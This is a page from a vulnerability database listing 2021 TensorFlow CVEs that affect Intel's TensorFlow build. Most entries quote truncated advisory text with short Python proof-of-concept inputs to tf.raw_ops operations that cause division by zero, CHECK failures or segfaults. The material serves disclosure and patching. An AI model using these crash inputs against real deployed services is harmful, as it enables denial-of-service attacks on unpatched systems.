Intel Optimization For Tensorflow vulnerabilities
429 known vulnerabilities affecting intel/optimization_for_tensorflow.
Total CVEs
429
CISA KEV
0
Public exploits
0
Exploited in wild
0
Severity breakdown
CRITICAL5HIGH121MEDIUM200LOW103
Vulnerabilities
Page 19 of 22
CVE-2021-29611P4LOW≥ 2.3.0, < 2.3.3≥ 2.4.0, < 2.4.22021-05-21
CVE-2021-29611 [LOW] CWE-20 Incomplete validation in `SparseReshape`
Incomplete validation in `SparseReshape`
### Impact
Incomplete validation in `SparseReshape` results in a denial of service based on a `CHECK`-failure.
```python
import tensorflow as tf
input_indices = tf.constant(41, shape=[1, 1], dtype=tf.int64)
input_shape = tf.zeros([11], dtype=tf.int64)
new_shape = tf.zeros([1], dtype=tf.int64)
tf.raw_ops.SparseReshape(input_indices=input_indices,
input_shape=input_shape,
new_shape=new
ghsaosv
CVE-2021-29619P4LOW≥ 0, < 2.1.4≥ 2.2.0, < 2.2.3+2 more2021-05-21
CVE-2021-29619 [LOW] CWE-755 Segfault in `tf.raw_ops.SparseCountSparseOutput`
Segfault in `tf.raw_ops.SparseCountSparseOutput`
### Impact
Passing invalid arguments (e.g., discovered via fuzzing) to `tf.raw_ops.SparseCountSparseOutput` results in segfault.
### Patches
We have patched the issue in GitHub commit [82e6203221865de4008445b13c69b6826d2b28d9](https://github.com/tensorflow/tensorflow/commit/82e6203221865de4008445b13c69b6826d2b28d9).
The fix will be included in TensorFlow 2.5.0. We wil
ghsaosv
CVE-2021-29521P4LOW≥ 2.3.0, < 2.3.3≥ 2.4.0, < 2.4.22021-05-21
CVE-2021-29521 [LOW] CWE-131 Segfault in SparseCountSparseOutput
Segfault in SparseCountSparseOutput
### Impact
Specifying a negative dense shape in `tf.raw_ops.SparseCountSparseOutput` results in a segmentation fault being thrown out from the standard library as `std::vector` invariants are broken.
```python
import tensorflow as tf
indices = tf.constant([], shape=[0, 0], dtype=tf.int64)
values = tf.constant([], shape=[0, 0], dtype=tf.int64)
dense_shape = tf.constant([-100, -100, -100], shape
ghsaosv
CVE-2021-29581P4LOW≥ 0, < 2.1.4≥ 2.2.0, < 2.2.3+2 more2021-05-21
CVE-2021-29581 [LOW] CWE-908 Segfault in `CTCBeamSearchDecoder`
Segfault in `CTCBeamSearchDecoder`
### Impact
Due to lack of validation in `tf.raw_ops.CTCBeamSearchDecoder`, an attacker can trigger denial of service via segmentation faults:
```python
import tensorflow as tf
inputs = tf.constant([], shape=[18, 8, 0], dtype=tf.float32)
sequence_length = tf.constant([11, -43, -92, 11, -89, -83, -35, -100],
shape=[8], dtype=tf.int32)
beam_width = 10
top_paths = 3
merge_repeated = True
tf.raw_ops
ghsaosv
CVE-2021-29604P4LOW≥ 0, < 2.1.4≥ 2.2.0, < 2.2.3+2 more2021-05-21
CVE-2021-29604 [LOW] CWE-369 Division by zero in TFLite's implementation of hashtable lookup
Division by zero in TFLite's implementation of hashtable lookup
### Impact
The TFLite implementation of hashtable lookup is [vulnerable to a division by zero error](https://github.com/tensorflow/tensorflow/blob/1a8e885b864c818198a5b2c0cbbeca5a1e833bc8/tensorflow/lite/kernels/hashtable_lookup.cc#L114-L115):
```cc
const int num_rows = SizeOfDimension(value, 0);
const int row_bytes = value->bytes / num_ro
ghsaosv
CVE-2021-29531P4LOW≥ 0, < 2.1.4≥ 2.2.0, < 2.2.3+2 more2021-05-21
CVE-2021-29531 [LOW] CWE-754 CHECK-fail in tf.raw_ops.EncodePng
CHECK-fail in tf.raw_ops.EncodePng
### Impact
An attacker can trigger a `CHECK` fail in PNG encoding by providing an empty input tensor as the pixel data:
```python
import tensorflow as tf
image = tf.zeros([0, 0, 3])
image = tf.cast(image, dtype=tf.uint8)
tf.raw_ops.EncodePng(image=image)
```
This is because the [implementation](https://github.com/tensorflow/tensorflow/blob/e312e0791ce486a80c9d23110841525c6f7c3289/tensorflow/cor
ghsaosv
CVE-2021-29555P4LOW≥ 0, < 2.1.4≥ 2.2.0, < 2.2.3+2 more2021-05-21
CVE-2021-29555 [LOW] CWE-369 Division by 0 in `FusedBatchNorm`
Division by 0 in `FusedBatchNorm`
### Impact
An attacker can cause a denial of service via a FPE runtime error in `tf.raw_ops.FusedBatchNorm`:
```python
import tensorflow as tf
x = tf.constant([], shape=[1, 1, 1, 0], dtype=tf.float32)
scale = tf.constant([], shape=[0], dtype=tf.float32)
offset = tf.constant([], shape=[0], dtype=tf.float32)
mean = tf.constant([], shape=[0], dtype=tf.float32)
variance = tf.constant([], shape=[0], dt
ghsaosv
CVE-2021-29554P4LOW≥ 2.3.0, < 2.3.3≥ 2.4.0, < 2.4.22021-05-21
CVE-2021-29554 [LOW] CWE-369 Division by 0 in `DenseCountSparseOutput`
Division by 0 in `DenseCountSparseOutput`
### Impact
An attacker can cause a denial of service via a FPE runtime error in `tf.raw_ops.DenseCountSparseOutput`:
```python
import tensorflow as tf
values = tf.constant([], shape=[0, 0], dtype=tf.int64)
weights = tf.constant([])
tf.raw_ops.DenseCountSparseOutput(
values=values, weights=weights,
minlength=-1, maxlength=58, binary_output=True)
```
This is because the [implementa
ghsaosv
CVE-2021-29549P4LOW≥ 0, < 2.1.4≥ 2.2.0, < 2.2.3+2 more2021-05-21
CVE-2021-29549 [LOW] CWE-369 Division by 0 in `QuantizedAdd`
Division by 0 in `QuantizedAdd`
### Impact
An attacker can cause a runtime division by zero error and denial of service in `tf.raw_ops.QuantizedAdd`:
```python
import tensorflow as tf
x = tf.constant([68, 228], shape=[2, 1], dtype=tf.quint8)
y = tf.constant([], shape=[2, 0], dtype=tf.quint8)
min_x = tf.constant(10.723421015884028)
max_x = tf.constant(15.19578006631113)
min_y = tf.constant(-5.539003866682977)
max_y = tf.constant(42.
ghsaosv
CVE-2021-29562P4LOW≥ 0, < 2.1.4≥ 2.2.0, < 2.2.3+2 more2021-05-21
CVE-2021-29562 [LOW] CWE-617 CHECK-fail in `tf.raw_ops.IRFFT`
CHECK-fail in `tf.raw_ops.IRFFT`
### Impact
An attacker can cause a denial of service by exploiting a `CHECK`-failure coming from the implementation of `tf.raw_ops.IRFFT`:
```python
import tensorflow as tf
values = [-10.0] * 130
values[0] = -9.999999999999995
inputs = tf.constant(values, shape=[10, 13], dtype=tf.float32)
inputs = tf.cast(inputs, dtype=tf.complex64)
fft_length = tf.constant([0], shape=[1], dtype=tf.int32)
tf.raw_op
ghsaosv
CVE-2021-29573P4LOW≥ 0, < 2.1.4≥ 2.2.0, < 2.2.3+2 more2021-05-21
CVE-2021-29573 [LOW] CWE-369 Division by 0 in `MaxPoolGradWithArgmax`
Division by 0 in `MaxPoolGradWithArgmax`
### Impact
The implementation of `tf.raw_ops.MaxPoolGradWithArgmax` is vulnerable to a division by 0:
```python
import tensorflow as tf
input = tf.constant([], shape=[0, 0, 0, 0], dtype=tf.float32)
grad = tf.constant([], shape=[0, 0, 0, 0], dtype=tf.float32)
argmax = tf.constant([], shape=[0], dtype=tf.int64)
ksize = [1, 1, 1, 1]
strides = [1, 1, 1, 1]
tf.raw_ops.MaxPoolGradWithArgm
ghsaosv
CVE-2021-29580P4LOW≥ 0, < 2.1.4≥ 2.2.0, < 2.2.3+2 more2021-05-21
CVE-2021-29580 [LOW] CWE-908 Undefined behavior and `CHECK`-fail in `FractionalMaxPoolGrad`
Undefined behavior and `CHECK`-fail in `FractionalMaxPoolGrad`
### Impact
The implementation of `tf.raw_ops.FractionalMaxPoolGrad` triggers an undefined behavior if one of the input tensors is empty:
```python
import tensorflow as tf
orig_input = tf.constant([2, 3], shape=[1, 1, 1, 2], dtype=tf.int64)
orig_output = tf.constant([], dtype=tf.int64)
out_backprop = tf.zeros([2, 3, 6, 6], dtype=tf.int64)
ro
ghsaosv
CVE-2021-29548P4LOW≥ 0, < 2.1.4≥ 2.2.0, < 2.2.3+2 more2021-05-21
CVE-2021-29548 [LOW] CWE-369 Division by 0 in `QuantizedBatchNormWithGlobalNormalization`
Division by 0 in `QuantizedBatchNormWithGlobalNormalization`
### Impact
An attacker can cause a runtime division by zero error and denial of service in `tf.raw_ops.QuantizedBatchNormWithGlobalNormalization`:
```python
import tensorflow as tf
t = tf.constant([], shape=[0, 0, 0, 0], dtype=tf.quint8)
t_min = tf.constant(-10.0, dtype=tf.float32)
t_max = tf.constant(-10.0, dtype=tf.float32)
m = tf.constant([]
ghsaosv
CVE-2021-29517P4LOW≥ 0, < 2.1.4≥ 2.2.0, < 2.2.3+2 more2021-05-21
CVE-2021-29517 [LOW] CWE-369 Division by zero in `Conv3D`
Division by zero in `Conv3D`
### Impact
A malicious user could trigger a division by 0 in `Conv3D` implementation:
```python
import tensorflow as tf
input_tensor = tf.constant([], shape=[0, 0, 0, 0, 0], dtype=tf.float32)
filter_tensor = tf.constant([], shape=[0, 0, 0, 0, 0], dtype=tf.float32)
tf.raw_ops.Conv3D(input=input_tensor, filter=filter_tensor, strides=[1, 56, 56, 56, 1], padding='VALID', data_format='NDHWC', dilations=[1, 1, 1
ghsaosv
CVE-2021-29561P4LOW≥ 0, < 2.1.4≥ 2.2.0, < 2.2.3+2 more2021-05-21
CVE-2021-29561 [LOW] CWE-617 CHECK-fail in `LoadAndRemapMatrix`
CHECK-fail in `LoadAndRemapMatrix`
### Impact
An attacker can cause a denial of service by exploiting a `CHECK`-failure coming from `tf.raw_ops.LoadAndRemapMatrix`:
```python
import tensorflow as tf
ckpt_path = tf.constant([], shape=[0], dtype=tf.string)
old_tensor_name = tf.constant("")
row_remapping = tf.constant([], shape=[0], dtype=tf.int64)
col_remapping = tf.constant([1], shape=[1], dtype=tf.int64)
initializing_values = tf.
ghsaosv
CVE-2021-29543P4LOW≥ 0, < 2.1.4≥ 2.2.0, < 2.2.3+2 more2021-05-21
CVE-2021-29543 [LOW] CWE-617 CHECK-fail in `CTCGreedyDecoder`
CHECK-fail in `CTCGreedyDecoder`
### Impact
An attacker can trigger a denial of service via a `CHECK`-fail in `tf.raw_ops.CTCGreedyDecoder`:
```python
import tensorflow as tf
inputs = tf.constant([], shape=[18, 2, 0], dtype=tf.float32)
sequence_length = tf.constant([-100, 17], shape=[2], dtype=tf.int32)
merge_repeated = False
tf.raw_ops.CTCGreedyDecoder(inputs=inputs, sequence_length=sequence_length, merge_repeated=merge_repeated)
ghsaosv
CVE-2021-29519P4LOW≥ 0, < 2.1.4≥ 2.2.0, < 2.2.3+2 more2021-05-21
CVE-2021-29519 [LOW] CWE-843 CHECK-fail in SparseCross due to type confusion
CHECK-fail in SparseCross due to type confusion
### Impact
The API of `tf.raw_ops.SparseCross` allows combinations which would result in a `CHECK`-failure and denial of service:
```python
import tensorflow as tf
hashed_output = False
num_buckets = 1949315406
hash_key = 1869835877
out_type = tf.string
internal_type = tf.string
indices_1 = tf.constant([0, 6], shape=[1, 2], dtype=tf.int64)
indices_2 = tf.constant([0, 0
ghsaosv
CVE-2021-29550P4LOW≥ 0, < 2.1.4≥ 2.2.0, < 2.2.3+2 more2021-05-21
CVE-2021-29550 [LOW] CWE-369 Division by 0 in `FractionalAvgPool`
Division by 0 in `FractionalAvgPool`
### Impact
An attacker can cause a runtime division by zero error and denial of service in `tf.raw_ops.FractionalAvgPool`:
```python
import tensorflow as tf
value = tf.constant([60], shape=[1, 1, 1, 1], dtype=tf.int32)
pooling_ratio = [1.0, 1.0000014345305555, 1.0, 1.0]
pseudo_random = False
overlapping = False
deterministic = False
seed = 0
seed2 = 0
tf.raw_ops.FractionalAvgPool(
value=val
ghsaosv
CVE-2021-29538P4LOW≥ 0, < 2.1.4≥ 2.2.0, < 2.2.3+2 more2021-05-21
CVE-2021-29538 [LOW] CWE-369 Division by zero in `Conv2DBackpropFilter`
Division by zero in `Conv2DBackpropFilter`
### Impact
An attacker can cause a division by zero to occur in `Conv2DBackpropFilter`:
```python
import tensorflow as tf
input_tensor = tf.constant([], shape=[0, 0, 0, 0], dtype=tf.float32)
filter_sizes = tf.constant([0, 0, 0, 0], shape=[4], dtype=tf.int32)
out_backprop = tf.constant([], shape=[0, 0, 0, 0], dtype=tf.float32)
tf.raw_ops.Conv2DBackpropFilter(
input=input_tensor,
ghsaosv
CVE-2021-29545P4LOW≥ 0, < 2.1.4≥ 2.2.0, < 2.2.3+2 more2021-05-21
CVE-2021-29545 [LOW] CWE-131 Heap buffer overflow in `SparseTensorToCSRSparseMatrix`
Heap buffer overflow in `SparseTensorToCSRSparseMatrix`
### Impact
An attacker can trigger a denial of service via a `CHECK`-fail in converting sparse tensors to CSR Sparse matrices:
```python
import tensorflow as tf
import numpy as np
from tensorflow.python.ops.linalg.sparse import sparse_csr_matrix_ops
indices_array = np.array([[0, 0]])
value_array = np.array([0.0], dtype=np.float32)
dense_shape = [0, 0]
s
ghsaosv